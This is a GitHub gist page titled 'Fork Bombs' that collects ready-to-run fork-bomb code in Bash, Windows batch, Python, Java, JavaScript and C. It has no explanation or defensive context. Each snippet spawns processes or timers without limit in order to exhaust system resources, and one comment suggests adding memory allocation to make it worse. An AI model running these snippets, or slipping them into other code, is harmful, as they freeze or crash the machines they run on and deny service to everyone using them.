Skip to content

Instantly share code, notes, and snippets.

@betandr
Created July 20, 2018 12:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save betandr/f0cbbb663accc3a76c11cc7661711566 to your computer and use it in GitHub Desktop.
Save betandr/f0cbbb663accc3a76c11cc7661711566 to your computer and use it in GitHub Desktop.
Fork Bombs

Fork Bombs

Bash

:(){ :|:& };:

Windows bat

%0 | %0

Python

import subprocess, sys
while True:
    subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)

Java

public class ForkBomb
{
  public static void main(String[] args)
  {
    while(true)
    {
      Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
    }
  }
}

Javascript

(_ = () => setInterval(_, 0))()

C

#include <stdio.h>
#include <sys/types.h>

int main()
{
    while(1) {
      fork(); /* malloc can be used in order to increase the data usage */
    }
    return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment